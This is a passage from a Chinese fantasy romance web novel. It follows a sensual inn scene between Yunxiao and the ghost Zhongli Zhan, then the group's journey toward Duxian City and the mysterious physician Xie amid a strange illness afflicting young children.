起,冷热水互兑。 她往草帘靠近,看了一眼草帘的高度。 ……刚好到她肋下。 云绡回头朝钟离湛看了一眼,钟离湛故作镇定地站在窗边,在感受到云绡的目光后欲盖弥彰地说了句:“雨真大,恐怕之后几天都是如此了。” 一场秋雨一场寒,接连数日的雨水之后,便要步入初冬。 云绡的目光落在钟离湛微红的耳尖上,才不相信这人在进屋子环顾了一圈此处环境,双眼又落在横挂的草帘上停顿两息时,什么想法也没有。 钟离湛的确没想法,但不代表他的脑海中没画面。 住宿的条件实在算不上好,云绡也就只能苦中作乐。 褪去衣衫,微凉的夜让她打了个寒颤,将身上打湿洗了一遍之后,云绡突然发出了一声低呼:“啊!” 钟离湛一只耳朵听着淅沥沥的雨声,一只耳朵听着哗啦啦的水声,在云绡低呼时立刻转身去看,两步就走到了草帘外。 他身量高,这草帘又实在遮不住什么,一低头云绡从头到尾完完整整地就被他看在眼里。 钟离湛倒吸一口凉气,只觉得被那白花花的闪了眼,视线自有它自己的想法,挪开了又不自然地落了回去,最后移到云绡本应花容失色的脸上。 本应……花容失色的。 她突然喊出声像是遇见了什么危险似的。 此刻对上钟离湛的视线哪儿有紧张和害怕,湿漉漉的双眼里满是狡黠,嘴角边的一对小梨涡都笑出来了。 云绡还故意伸手指了指墙角处一只还没她指甲盖大的小蜘蛛道:“有虫子呢,哥哥。” 钟离湛:“……” 钟离湛的眼睛甚至都没去看那只不知是死是活的小蜘蛛,他连余光都是在云绡身上的,在对上她笑盈盈的双眼时钟离湛再蠢笨也明白过来,她在骗人。 不,准确来说,她在逗他。 长条布巾就在一旁盆里放着,她都没想过拿起来遮挡身体,漆黑的发丝贴在白瓷一般的肌肤上,欲盖弥彰般要遮住了什么,其实什么也没遮住。 云绡的发尾还在滴水,身上也是半湿的。她忽而走近一步,钟离湛立刻就能嗅到云绡身上以体温传来的香气,双脚就像是黏在原地一样,动也动不了,只能任由香气扑面而来。 隔着一道已经湿透了的草帘,云绡眨着无辜的双眼,可怜兮兮的声音道:“刚才真的把我吓到了,我现在心跳都是乱的,不信你摸摸看。” 钟离湛:“……” 好嘛,现在是连演都不用心演了,声音越是委屈,那张脸上笑得就越得意灿烂。 钟离湛的视线终于动了动,从云绡的眼,落在了她泛红的耳廓,微微颤抖的肩头,还有攥紧的手上。 她也紧张,她也羞涩,可她的胆大与肆意妄为,将那些情绪全都吞没。 钟离湛上前两步,魂魄穿过了毫无用处的草帘,每一步伴随着沉重的呼吸声,与云绡紊乱的心跳声交叠在一起。 云绡昂着头,她才不怕被钟离湛看透,她就是故意的。 才找到钟离湛很好玩儿的方式,有机会的情况下,云绡当然要玩儿一下。 这些天餐风露宿,和一老一小每天都在一起,徐容靳对‘失而复得的父亲’看得很紧,生怕他又消失了,云绡和钟离湛说悄悄话的机会都因此少了很多。 她算着天数呢。 钟离湛醒来后到现在已经十一天了,十一天里他们只亲过两次。 一次是去捉鱼的时候,他们在湖边才亲上结果就被徐容靳看见了,人高马大的徐容靳捂着通红的脸以别扭的姿势跑走,而后一头埋在仲卿的怀里。 一次是三天前,徐容靳和仲卿都睡着了,云绡也睡着了,然后钟离湛把她给吻醒了。 吻得缱绻,像是有蝴蝶在胸腔里打转一样,撞得她心跳加速,心口发麻,脑海中回想起的全都是她在浴桶中和钟离湛肌肤相贴的画面。 一吻结束后,钟离湛便安抚般拍了拍云绡的背,哄孩子似的说:“睡吧。” 睡吧? 睡不着! 根本睡不着! 云绡记着呢,她记得全部感受,就像是有什么难耐的情绪急迫地需要一个发泄口,然而她不得要领,就算是后来迷迷糊糊睡着了之后云绡的梦都是乱七八糟的。 由爱生欲,这是她拥有七情六欲,作为人的本能。 难得有和钟离湛独处的机会,他还偏偏要去看什么雨? 雨哪儿有她好看? 此刻,钟离湛一步步朝云绡逼近,云绡感觉得到自己呼吸急促,紧张到双腿都在发抖。 钟离湛略垂下头,双眼紧紧地盯着她,背对着烛火的方向将晦涩的目光遮掩了大半,可云绡仍然能在其中看见了像是火焰跳跃似的一线红光。 带着迫人的气势,掠夺了她周围的空气。 一点也不温柔的吻反而缓解了云绡如同沸水一样翻腾的内心,积累数日的说不清道不明的别扭,在这一刻得到了满足。 钟离湛的手掐在云绡的腰间,他的手很用力,用力到那样纤瘦的腰肢都能漏出他的指缝。 凝脂似得肌肤因为还沾着水,滑嫩得像是一碰就要碎了般。 烈火吞没了所有气息,云绡听着心跳声、呼吸声和唇齿相依的声音。 钟离湛沉醉于与她的亲吻,而她沉醉于看钟离湛此刻的一切状态。 在云绡几乎窒息时钟离湛突然将她提起来,云绡害怕地环住他的腰,一垂头就能看见钟离湛与她对视的眼。 与他带着侵略性的举动不同,钟离湛的眼神很温柔,他昂着头,虔诚地轻轻吻了一下云绡的唇角,又吻她的下巴……脖间传来的微疼叫云绡的眼神也变得迷离了起来。 心脏疯狂跳动的地方,被手掌阻隔了深夜的凉风。 云绡失去了所有力气与倚仗,全靠钟离湛一手托住。 盆中的热水早已转冷,草帘的后方却仍然蒸腾出一片滚烫。 屋外的狂风骤雨打散了秋季半黄的叶,惨淡地落了一地。 如钟离湛所言,这场雨还未结束,就立刻迎来了寒风,呼啸着像是要将小屋的门窗全都吹倒。 云绡躺在床上裹着薄薄的被子,脸颊红得就像是在夜里受凉生了一场病,可她的身体此刻仍然是滚烫的。 蜡烛烧了大半,时间已经不早了,好在桌上水壶里的水还是温热的,无需钟离湛想办法重新烧起来。 借着一张符,托起水杯送到云绡跟前。 云绡端起水杯,那张符就被钟离湛烧了后丢进水里,他对云绡道:“喝了。” 云绡的目光怔怔地看向钟离湛的嘴唇,又落在他高挺的鼻梁上,那上面还有一滴水迹,呆愣愣的少女轰地一下又从头红到尾。 她很乖,乖巧地喝下那杯符水,乖巧地抬手抹去钟离湛鼻梁上的水痕,乖巧地裹着被子重新躺下。 她也很不乖,所以刚躺下就问:“原来还可以这样啊。” 说这话时,她声音娇娇软软的,一双圆眼还在看钟离湛的嘴巴,看得钟离湛涨红着脸,不自然地抿了一下唇,哑着声音道:“下次不可以。” 云绡翻身又问:“你怎么会这个啊?” 钟离湛避开了她的视线,干咳一声:“书上看的。” 云绡更感兴趣了:“你还看这种书啊!” 钟离湛:“……” 活了两百多年的男人,看点书怎么了? “好看吗?”刚问完,云绡想起自己方才的感受,自顾自答道:“肯定很好看。” 云绡不困了:“我没看过哎,我也想看。” 钟离湛瞥了一眼她因为翻身而露在被子外头的肩膀,上面几处牙印此刻还未消,想起自己方才的荒唐举动,钟离湛真的觉得自己是疯了。 明知道她是故意的,明知道她在引、诱,明知道不可为。 可他也看出了云绡的意图, 她对他有情,自然也对他有欲。 钟离湛舍不得看云绡难受,头脑发昏地便舔了上去……还是快点活过来才好。 云绡看钟离湛迟迟不出声,目光落在他腹下,忽而有些愧疚,她伸腿脚掌从侧边轻轻踩了一下钟离湛的腿道:“我刚学会了,我下次也帮你……唔!” 钟离湛手快地捂住云绡的嘴,避免她再说出些什么骇人的话来。 “别说话,睡觉!”钟离湛道。 云绡没动了,他便松开了她的嘴,然后云绡接着道:“下次我们找个环境好点的住处玩儿。” 手掌再度盖上那张语不惊人死不休的嘴,云绡无奈,她真没打算说了。 她装模作样地眨了两下眼,打算挤两滴眼泪装可怜,可惜真是太久没演了,此刻云绡还沉浸在快乐里,根本哭不出来。 一抬眸对上了钟离湛的视线,云绡身体一僵,收起了玩笑的心。 钟离湛神色微凛,低声道:“有小儿哭声……不止一处。” - 夜色浓重,雷霆霹雳而下,像是将天空劈成了两半。 妇人跪抱着男人的腿道:“我们去看看,去琅城看,去京都看!当家的,咱们的孩子已经七岁了,不是都说五岁以上就不会得病吗?他或许、或许不是那个病呢!” 男人看向怀中疯狂哭泣的孩子,望着他已经生出浓疮的脸,不敢拿所有人的命去赌。 “翠儿,你放手!咱们还会有孩子的,这病耽搁不得,我得趁夜走!” 第84章 听到自家男人这样决绝,妇人拽着孩子的腿哭喊着不肯松手。 那男人无法,只能对屋子里抹泪的爹娘大喊,让他们控制住妇人,他得尽快将怀里的孩子送去渡仙城。 眼看公婆都冒着大雨出来,妇人的哭喊声就更大了。 年迈的老妪一边哭一边拽着自家儿媳妇的胳膊劝说道:“翠儿!你放大牛去吧,把金宝送去渡仙城治病,他还有一线生机,留在家里只能害人害己!总不能为了金宝一人让咱们整个镇子的人都染上这怪病啊!” 老妪旁的老头儿也不好拉儿媳妇,只能去拽孙子的腿,想让他们娘俩分开,也在劝:“那渡仙城里有神医,神医能救金宝的,你别耽误金宝的病情,翠儿,跟爹娘回家吧。” 杨翠显然不信他们俩的话,她拼命摇头,脸色苍白,眼底执拗又如死灰:“不,不!金宝已经是我的第四个孩子了,我前头三个孩子都染上这怪病送去渡仙城,没有一个回来过!爹,娘!大牛啊!!咱们金宝超过五岁了,不该染病的,不该是他染病的!” “我精细着养大的孩子,连这条街都没出过,怎么就会他得了这个病?!一定是假的,他只是被虫子咬了脸上才会烂疮。爹娘,我们去京都找大夫看看,别放弃金宝,不要放弃我的孩子!!!” 此刻的金宝也在哭泣,他不知发生了什么,只知道从昨天开始脸上就发痒,今早便生疮,爹娘用了药还没好,入夜高烧烧得他头昏脑胀。 突然间,爹就说他不行了,要把他送走。 他以为爹是带他去治病的,可娘却说爹要送他去死。他害怕死亡,脸上的疼痛和高烧让他浑身无力,他连呼吸都变得急促起来,忽而就在李大牛的怀中抽搐。 “金宝!金宝!!!”杨翠一见儿子如此,一口气没喘上来,双眼一翻,人就这样昏了过去。 看见自家孩子抽搐,妻子又昏了过去,年迈的爹娘满脸沉痛,李大牛也只能抹泪,赶紧让他们将妻子带回去,自己转身奔入了雨夜之中。 可没想到他抱着孩子,居然在出镇的路上碰见了镇子里的几个熟人。 那些人的手中也抱着小孩儿,最小的那个才两岁,话都说不全。 几人互相对视一眼,眼底满是无助与悲哀。 - 云绡听不见雨夜里的哭喊声,也不知发生了什么,全凭钟离湛的转述。 雨声太大,加上雷鸣,还有杂七杂八的哭嚎声,钟离湛不知细节,却也明白了始末。 云绡听他说完,这才挣扎了一下,钟离湛用眼神示意她不许再乱说话,得了云绡瞪他,这才松开了那张小嘴。 云绡问他:“都生病啦?” “嗯。”钟离湛道:“听着是这么回事,并且有一家不止一个小孩儿生过病,听那妇人的哭喊似乎之前几个孩子都是因这病而死的。” “五岁之后便不太可能得病,却频繁发生在五岁之内的孩童身上,不知病因也就无法去除病根,所以他们将孩子送给渡仙城的神医医治。”云绡喃喃:“这么说来,那个神医也不靠谱嘛。” 钟离湛沉默了会儿,忽而蹙眉道:“不像是病。” 云绡点头:“我也觉得不像。” 二人对视一眼,异口同声:“倒像是咒。” 旁人或许不知,可云绡与钟离湛相处久了,学会的东西多了,也就知道这世间其实有很多难以解释的东西,皆可从符咒上找到真相。 就好比云绡在京都时,那里为人族地界,显帝与位高权重的人们总以为他们能把控这天下一切,自然不会想到有符咒可以让一个人影身,让一个人日行百里,让一个人招来风火雷电。 远离京都,再遇见洛娥这样的疯女人,云绡看待万事都不会留在最浅显的位置。 “人都出镇子了。”钟离湛拍了拍她的脑袋道:“夜深了,你该睡下了。” 云绡拉着被褥盖住自己的下半张脸,一双圆眼认真地看向钟离湛道:“比起自己的生死真相,那些孩子的命于你而言更重要,对不对?” 钟离湛微怔,云绡这么问他他一点也不奇怪,她太了解他了。 而他方才也的确在想,这世间有什么咒能让孩子从脸部溃烂开始发病,而这病竟然具有一定的传染性。 “我就知道,你身上的佛光好强烈,刺得我眼睛疼,根本睡不了。”云绡嘀咕一句,叫钟离湛哭笑不得。 她说了这一句后又没有下文了,抓住钟离湛的手抱在怀中,闭上眼睛乖乖睡觉,天大的事,也得养精蓄锐了才能去解决。 云绡知道,钟离湛若未遇见就算了,都被他听到那些人的哭喊和悲鸣了,他不论如何也要在去东洲之前,去一趟渡仙城的。 且不论这片区域究竟有多少孩子多少年未见病消,就凭着小镇中几家孩子生病的人都想着将孩子送去渡仙城,便可得知渡仙城里一定是生病的孩子最多的地方。 云绡没自己表现得那么精神奕奕,她抱着钟离湛的胳膊没一会儿便睡着了,钟离湛则在用自己的意识去探索这座小镇,看看这座镇子内有没有什么另类的符咒在悄然作祟。 - 翌日一早雨未停,天就像漏了个口子似的不断往下灌水,整个小镇的道路都被淹没了许多。 天灰蒙蒙的,客栈里也采买不到新鲜的食物,便只能给本月首次开张的客人一人煮了一碗菜粥。 云绡和仲卿的精神还不错,徐容靳却连连打哈欠,一脸没睡好的样子。 云绡见他吃饭都不香了,叮嘱一句:“多吃点,等会儿赶路,下一餐未必能准时。” 徐容靳扁嘴,有些委屈道:“昨夜有女人在哭,我害怕,没敢睡。” 云绡闻言 有些诧异:“你听见了?” 她都没听见,徐容靳怎么听见的?难道他被钟离湛火符烧毁的那半边耳朵也拥有了什么非凡的能力了? 徐容靳道:“咕咕告诉我的,它说昨夜有女人低低的哭声,还喊哥哥,吓得我以为是鬼来找我了,我后半夜在做噩梦。” 云绡:“……” 钟离湛:“……” 仲卿一脸疑惑,发现几人沉默,干脆继续吃饭。 云绡饶是再会骗人,这个时候耳朵也不受控地红了,她对徐容靳道:“我看你那两只鸡也养得够肥了,杀来尝一只吧,就吃那个咕咕。” “不行的,娘!”徐容靳吓得连忙将咕咕藏在怀里。 徐容靳的耳朵被火符烧毁后,的确能听到常人听不到的声音,但不是昨夜的哭声,而是钟离湛的威压。 “让你的鸡,离远一些。”钟离湛说完这话,徐容靳连忙将怀里不断颤抖的咕咕按住,对着钟离湛连连点头。 仲卿吃饱喝足了,也就开始好奇云绡和徐容靳究竟打什么哑谜呢。 关于昨夜的哭声,他一个从未成亲孤身到老的仙师,自然不会想到男女之事上去,还以为发生了什么怪事。 事实上,也是怪事。 云绡将昨夜钟离湛听见的声音说给仲卿听,仲卿愣了愣,哦了声:“渡仙城的神医,我知道他。” “怎么,还真有个神医,让你这远在京都大半生的仲卿仙师也有所耳闻啊。”云绡对这位神医更加好奇了。 仲卿点头道:“他的确是位了不得的神医,他的厉害之处,便在于他应当是冲破了杀……曦帝对曦族的诅……祝福,他活了不止百岁。” 云绡见他说一句话停两次顿,没忍住笑了一下为钟离湛正名道:“钟离湛很温柔的,不会因为你的无心之言对你动手,这点你大可放心。” 仲卿干笑了两声,心中嘀咕:我又不是与他冥婚的对象,也不是他半路认的儿子,他凭甚对我手下留情? 再多腹诽,皆被吞下,仲卿接下来说的话便是他对那位神医的了解。 “我不知他叫何名,只知他姓谢,是曦族人,却不是曦族某个世家之后,而是从平民中凭着本事走出来的。”仲卿道:“在我十六岁时与他有过一面之缘,彼时我湖族长老司徒家因世家内部的争斗,嫡子之妻孕有七月惨被杀害,幸她腹中孩子争气,剖腹后救出那孩子居然还活着,只是从那之后身体一直不好。” “是那位谢神医救了他?”云绡问。 仲卿点头:“那孩子的母亲是被一刀抹脖而死的,好在因沈家邀请谢神医多留了一日,见状后用符保留了母体的温度和供给,亲自操刀将那孩子剖了出来。那孩子后来身体弱,也一直是用谢神医的药和符水才活了下来。” 仲卿又道:“后来我离开湖族去了京都,临行前他已经娶妻了。虽说我没再关注他,可长老氏族之间的联系总是不断的,我只知他活到了四十三岁,死前还抱了孙子,真算奇迹了。” 云绡闻言,问了仲卿一句:“你多大?” 仲卿:“……六十七。” 云绡又问:“你见到那神医时,他多大?” 仲卿解释:“他看上去二十出头的样子,但在我见到他之前,他早有盛名,就连我祖父那一辈的都听过他的名字,你说他多大?” 云绡啊了声,对钟离湛道:“你的诅咒真的不行!” 这已经是她知道的第二个活过百岁的曦族人了! 钟离湛嗤了声,什么叫他不行?他分明……罢了,他也忘了自己当时是怎么诅咒的了,应验多少,他亦不能保证。 “据我所知,那位谢神医至少得有一百二三十岁,而渡仙城可以算作是他一手创办的。”仲卿道:“渡仙城原本只是曦族陇山外的一个镇子,那镇子发生了一场疫病,本来全镇的人都得死的。是谢神医途径那处给他们灵丹妙药治好了,但谢神医也因此耽搁在了那里好几年的时光。” “几年间,凡是遇见疑难杂症的人,都去镇子找谢神医,久而久之谢神医就没有离开陇山,曾经的小镇,也因为谢神医坐镇成了一座城。有人说谢神医是天赐的神仙下来渡劫的,所以他才无偿帮助了那么多人,行那么多善举,那座城也就成了渡仙城。” 仲卿将自己所知的说给云绡听,也侧面解释了为何昨夜那几人家中的孩子生了病,他们第一时间想的便是将孩子送去渡仙城。 此地为旖族边境,临近曦族,因为旖族无长老管事,这里的人其实更信任曦族。 “渡仙城离此地多远?”云绡问。 仲卿道:“大约也有几百里吧,总得翻过前面那片山再问人才能确定。” 他也没去过曦族,并不算了解。 云绡道:“那我们就先去渡仙城,见一见这位能躲过钟离湛诅咒的神人。” 仲卿也不反驳,他心中也有些好奇,能活一百多岁的人究竟是否还长成过去那副模样,故而他多加了一句道:“在我十六岁见到他时,他应当已经年过半百了,可他看上去仍然年轻,光是这一点,咱们就得多思再行。” 云绡几人离开客栈时,大雨没有半点改变。 乌沉沉的天尽头,像是群山顶着苍穹一般。 云绡问过客栈的人了,越过前面这座山,再行四百里,他们看见的最高的山那就是陇山,那里,也就是曦族的地界。 云绡问钟离湛:“即将魂归故土,你有何感想吗?” 钟离湛目色沉沉:“惟愿吾曦族后人,莫入邪道。” 第85章 越往曦族的方向走,周围的山水变化就越是不同。 从京都而下,沿途云绡住过最多的就是各种山林间,可越过小镇掌柜指的那座山之后再去看,曦族的方向尽是一片盎然绿意。 尾人族或旖族的山,都是连绵不绝的山川,一整座山几乎很难找到完整的山尖,像是游龙脊背一样在平地中翻滚着。 而曦族地界的山,则像是一栋栋小楼,似长笔入云,又似坛瓶立花。 一片旷野尽头能看见的山有许多,陇山很好认,它是那些山中最高的一座,整体颜色也偏深,站在高处远看过去,一行人都被眼前景色震惊。 湖族虽与曦族相连,但一个地界一种风貌,仲卿在湖族也没见过这样的美景。 每一座独立的山也只有一个峰,笔挺而上,山身没有蜿蜒扭曲,斑驳的花树色彩渲染其上,而山周缠绕着绸缎一般的云,当真美不胜收。 陇山和其他几座小山,就像是放在桌案上的茶具,陇山是壶,而其他山是杯,紧挨在一起。 几日雨水洗刷了前路风尘,陇山之下那些小山之间还能看见一些颜色颇深的城墙,城墙并非四方防立,而是沿着山脚下蜿蜒成奇特的形状,将住在陇山之下的人牢牢包裹其中。 仲卿深吸一口凉凉的风道:“往日这个时候的京都就该穿东衣了,到了这边虽然也冷,可一身轻减的秋装也能御寒,还能看见这样的山与云,也算是来值了。” 仲卿在京都几十年,只是偶尔出城去金雀岭教习一些人族世家府中请来的仙师阵法和简易符咒,那里风光也好,哪及眼前半分? 十之一分也比不上的。 云绡也觉得这里好看,她没来过曦族,可她借着钟离湛的身体在这片土地生活过一段世间。彼时的霖江也不像曦族现在的山水一样,战乱之后的天下一片灰败,万物都靠人小心翼翼地呵护才能生长。 曦族的山未经雕琢天然而成,与其他地界比起来,这里才是真正与世隔绝的世外桃源,像是一堆杂石中唯一的璞玉,发着青翠的光。 钟离湛也在看,将倾倒众人的风光尽收眼底,他的心中流过暖意,也有些涩然。 这里,曾是他的故土,这里的族人,曾与他流淌着同样的血。 钟离湛在位期间,最想看到的其实就是这样一片清澈透亮的蓝天,和纤云渺渺的山河。 他以为他在京都看见的繁华,已经是苍生欣欣向荣后的盛景,可各族势力仍在背地争夺,繁荣之下的真相,其实更多的是嘈杂的,不安的,与贪婪的。 一路过来,皆是如此。 老马慢行,这个时候的谁也不再焦急了,仿佛就凭这一片天与地,便能抚平他们心中所有的焦躁。 云绡戴着斗笠,一双眼久久地落在陇山与它周围的小山上,她神情清冷,让人看不出她在想什么。 钟离湛突然开口问她:“这两千多年,五族中从未有过战争吗?” 云绡熟读关于钟离湛的历史,她的了解都存在于两千多年前的古籍上,后来的历史发展她没特地学过,宫中学堂也不让她进,她就不太清楚了。 这话又问向仲卿,仲卿是知道的:“怎么可能?有人的地方就有斗争,更何况苍天之下有五族。” 云绡停顿了好一会儿,又问:“他死后,照国后来如何了?有过几次战争?谁胜谁败,你都清楚吗?” 仲卿的目光落在云绡的身侧,他突然明白云绡方才的停顿其实是在倾听,这些都是钟离湛想知道的回答。 仲卿道:“曦帝故去之后,照国短暂地交给了湖族。” “传闻中圣仙出自湖族,所以天下人信奉圣仙,将圣仙捧上神坛之后连着天下也交给了湖族,不过彼时湖族氏族为了皇位也有明争暗斗,湖族掌管天下五十年后,江山易主。” “后来便是人族统治的缙国,尾人族统治的巽国,天下又回到了湖族手中。其中旖族也有名女子凭借着洛娥的诅咒当上了女帝,不过当时天下一分为三,她的女帝只在自己的领地中坐了三十年。” “直到五百多年前,人族快速繁衍致使数目于其他各族而言已成庞然,后来便一直是人族统治了。在这些争斗中,各族有盛有衰,也渐渐忘本,将自己的天赋丢弃,成了刀剑相向的蛮人。” 近五百年来的人族统治中,仍然未停止征伐,人族向其他几族发难,先是将旖族险些灭族,再控制住尾人族,曦族主动投降,湖族也只能顺势而为。 除了人族向其他族人讨伐和侵占之外,人族自己内部也多是矛盾,京都未变,可坐在龙椅上的人多次改姓,无非就是氏族间的互相残杀和尔虞我诈。 不过那个时候五族已定,谁也没想过要与人族争夺皇位,或许有的人有想法,可他们的繁衍终究比不上人族迅速。 有的人一个家庭十多个孩子,同样的时间内,其他族人能孕育出一个,或者两个,就已满足。 后来各族为了繁衍,保全本族,频繁与人族通婚。 一百年前还有人族的公主下嫁湖族,以此换取湖族对人族的帮衬。 “那曦族呢,后来从来都没有曦族的人称帝吗?”云绡又问。 仲卿只好道:“没有。” 云绡顿了顿,目光又落在逐渐靠近的陇山上,看向曦族的环境再问一句:“曦族的地界,是否也从来都没有发动过战争,更没有被人征伐过?” 仲卿仔细想了想,回顾他从小熟读的历史,惊讶地咦了一声:“好像还真是!” 仲卿发现这一点,再度打开了话匣子:“几次重大的历史改革上,曦族好像都没有过什么动作,只有那么几次被推出去挡灾后反击,可那也很短暂,因为他们很擅长求饶……求和。” 想到这里还有个曦帝,仲卿连忙改口。 可历史上的曦族的确从未表露过他们的野心,如同深居简出的世外高人一样。 每每战争到了眼前,他们的长老便会出面,请高官使者入族详谈求和之事。 不论供奉多少,他们都出;不论要求多苛刻,他们也给。只要能放过他们的族人,不要让杀戮的血迹溅染他们的土地。 “曦族,似乎不愿与外族通婚,所以曦族的人其实很少,比旖族也不多。”仲卿说到这里,又朝云绡看去一眼:“说起来妍妃,还是那年曦族实在交不出供奉,主动向先帝提起进献的美人。” 从某种角度而言,景妍就是曦族为了求和的牺牲品。 可之前仲卿和云绡的一通分析已然知晓景妍不是寻常人,曦族似乎当了两千多年的缩头乌龟,终于憋了个大的。 即便仲卿提起景妍,云绡也懒得费心去想她。 但知道这些消息之后,云绡看待曦族亦有些不同了。 有些矛盾,云绡想不通。 如果曦族真的想要称帝,大可以在每一任皇帝身边都进献一个美人,尝试着看能否控制住对方,偏偏两千多年来,景妍是第一个被进献的。 如果曦族真的有野心把弄朝政,更应该多与外族通婚,就不说其他两族,便是相邻的湖族他们也可以交好,多多繁衍。 可若说他们并无阴谋诡计,又为何要隐瞒两名长老的身份,将那两人送入京都? 云绡想起了钟离湛说的那句话,她问他:“你是不是发现曦族有什么问题?才说,惟愿他们莫入歧途?” 钟离湛反问:“你不觉得,陇山很奇怪吗?” 云绡点头:“我是从来没见过这样奇特的山,不过你往远处看,曦族的山好像都是这样独立的一座座。” 钟离湛摇头:“一大伴随着数小,像什么?” 云绡将自己说它像茶壶和茶杯的说法说出来后,钟离湛愣愣地盯着云绡看了会儿,看到云绡脸都有些红了,忍不住抬手摸了一下问:“怎么了?” 钟离湛愣怔的眼突然就柔和了下来,他伸手捏了一下云绡的脸道:“没什么,只是觉得你可爱。” 云绡更古怪了:“你别说话怪里怪气的,有什么直说就好。” 钟离湛神色微凛道:“你不觉得,那几座山,像是母亲与她的孩子们?” 云绡闻言再去看,大的那座陇山的确像是个母亲一样将周围的小山全都划分在自己的庇护之下,可一旦将山拟成人,便会产生一种诡异又扭曲的可怕感。 云绡不再看山,她只看钟离湛:“你还没回答我,你是否发现了这里的问题?” 钟离湛嗯了声,道:“远远的,我就嗅到了血腥的味道。” 那沁人心脾的山风里,云绡和仲卿只能嗅到雨后草野生长的青涩香气,而钟离湛隔着巨大的雨幕,仍然能嗅到血腥味,那味道正是从陇山发出来的。 - 直到走到陇山的山脚下,看见了漆黑的城墙,云绡也没嗅到钟离湛所说的血腥气,反而一股淡淡的药香从城中飘散了出来。 凑近来看,陇山和渡仙城几乎融为了一体,山中有城,城中有山。 蜿蜒的城墙将大大小小的山全都围绕在了一起,而每一座小山之下的城墙都开了一道城门,每一个城门都可进人。 此刻渡仙城外聚集了许多人。 几人站定的地方只能看见三座小山的城门,有高有低的,都不在一条线上。 往上一点儿越过一小截山腰处的,那里的城门人最少,那是出城的地方,城外有些家人蹲在门前接应。 云绡所站的地方是进城的,前头拍着长长的队伍,有的人看上去命不久矣,有的人看上去生龙活虎,但能走到渡仙城的,或多或少都是身体上有寻常大夫不可治之病症的。 再往下一些,几乎到山尽 头的山脚下,一道小门开着,两名看上去仙风道骨的老头儿正在派药。 徐容靳的脸实在吓人,围聚在渡仙城外的又都是不经吓的病人,故而徐容靳戴着帷帽,他自己挺喜欢的,还能挡风。 因这帷帽,更让徐容靳看上去像是来看病的那个。 仲卿拍了拍前头一名老者的肩指着山脚下的小门问:“兄长,那是在做什么?” “渡仙城神医赐药,每初一、十五都可免费来领,那是强身健体的药,可抵御风寒暑气。” 老者说完,仲卿又问:“那你是来看什么病的?” 老者一顿,伸手指了指自己的脑袋道:“这里疼,左眼也看不见了,找了许多大夫都看不了。” 说完,老者又问:“你也是来看病的?” 仲卿顺手把徐容靳一拉道:“我孙子,被大火烧过之后脑子突然就坏了,现在喊我哥了。” 老者面露同情之色,都是天下可怜人。 仲卿和人聊多了,便似是不经意地提起:“我之前路过的一个镇子,见到镇子里有个小孩儿脸上生疮,那家人就说小孩儿得了什么病,没救了……唉,我见那孩子还能哭能走的,也不像有事的样子,怎么就没救了,还能传染,你可知这是什么毛病?” 老者闻言,啊呀一声:“恶童病,无药可医,那也真是倒霉了。” “恶童病?”云绡一直躲在徐容靳身后听着呢,这个时候突然探出头来。 老者一见是个漂亮的小姑娘,眉目慈祥了几分,解释道:“好多年前就有此病了,也不知是从何传来的,五岁以内的小儿才会发病,一旦发病,先从脸部开始溃烂,而后溃烂全身,直至只剩一身白骨。之所以叫恶童病,则是因为这病只传孩子,不传大人,也有传言是恶鬼缠身,小孩儿体弱,容易被邪气侵染,但具体如何,到现在也没有答案。” 云绡又问:“谢神医也治不了?” 老者道:“谢神医的药,只能防止他继续传人,不能制止他的死。” 第86章 城门前有专人登记,求医问药和游山玩水的不在一条路上走,看病的往医馆聚集的小山去,有些人慕名而来观山,又或是为了购买渡仙城中种植的草药,便去另外几座山。 守门人问仲卿为何而来时,仲卿让徐容靳上前,掀开徐容靳的帷帽一角给那守门人看,将对老者的那一套说辞说了一遍后,守门人又将目光落在云绡身上。 云绡怯怯地站在仲卿身后,抓着仲卿的袖子好似很害怕的模样,仲卿又解释云绡是他的小孙女,他儿女皆死,只能将她带在身边。 守门人心道可怜,热心肠地给他们指了第二座山的上山路,并说那里风光不错,小姑娘白日无事还可去看看山水。 先前与仲卿说话的老者是孤身一人来的,他与仲卿年纪相差不大,几番交谈后便随云绡他们一路,一同在城中找个地方住下,一同就医,也好相互照应着。 入城后有那么一瞬间,云绡以为自己进入了某个庞然的寺庙里。 城门后方有几个棚,棚下有一些青年人在熬药,渡仙城内外的药香味很大一部分是从这里飘出来的。 那些棚中熬药也都是在烧柴火,顺风而起的烟仿佛化作山脚下的浓雾,带着药香味与草木燃烧的苦涩味道飘散在空中,有些呛人。 渡仙城的城与山融合在了一起,数条蜿蜒的小路缠绕在小山周围,最终的目的都是通往那最高的陇山而去。 在陇山几乎靠近山顶的地方能看见一座类似道观的建筑,朱红色的墙与墨色的瓦,十分显眼,听老者说,那里就是谢神医住的地方。 渡仙城中也有一些大夫,虽比不上谢神医,但比起宫中御医也不差几分。他们都是师承谢神医,转治各种疑难杂症,那些前来求医问药的其实大多是在这些人的手上治疗。 谢神医每日开启一次问诊,问诊时间只有两个时辰,所以很多人山下大夫无可奈何的病症,都会去沿着这一条条小路前往陇山山顶,早早排队等待谢神医的出现。 也有列外情况,便是那病症的确特殊,从无先例且立决生死,谢神医倒是可以先为其诊治。 云绡几人在渡仙城第二座小山中找了个客栈住下,又在客栈中稍微打听了一番谢神医,无需她多问,只要是关于谢神医的壮举渡仙城里的人简直是张口就来。 这里的客栈、酒楼、医馆等都是原本就在这里生活的小镇后代所开。镇子以前叫百岁镇,因为钟离湛曾诅咒曦族寿数永不过百,而这镇子里的人大多都能活到九十多岁,算是凡人中的长寿之镇,所以才有此名。 谢神医是游医,他不拘泥于只给曦族人治病,哪怕外族人有什么疑难杂症,只要求到了他的跟前,他也会跋涉千里去救人。 数十年前百岁镇里的人生了一场疫病,一个长寿镇在短短时间内便死了大半,谢神医闻之不忍,特地前来寻找根治的办法。 他一开始并未找到病因,便只能留下来画一些符融入水中,短暂地抑制了他们发病,也让他们能多活一段时间,拖延病症好让他找到救命的良药。 所幸皇天不负有心人,谢神医在镇子里的第七年总算将百岁镇里为数不多的人救了回来。而这七年来,不论是曦族又或是湖族、旖族等人,只要是生了重病的,都习惯性地往百岁镇里寻诊,百岁镇活下来的人为了报答谢神医,便请求他留下来。 让谢神医在百岁镇中坐诊,而他们分文不取,心甘情愿地为谢神医种药采药炮药制药,要是有聪明的能在谢神医的跟前学得一些皮毛,他们也会义诊,造福所有过往的百姓。 谢神医被百岁镇里的百姓感动,他们也一同度过了艰难的七年时光,所以他留了下来。 为了种药,百岁镇的人也在周围渐渐盘起了山。 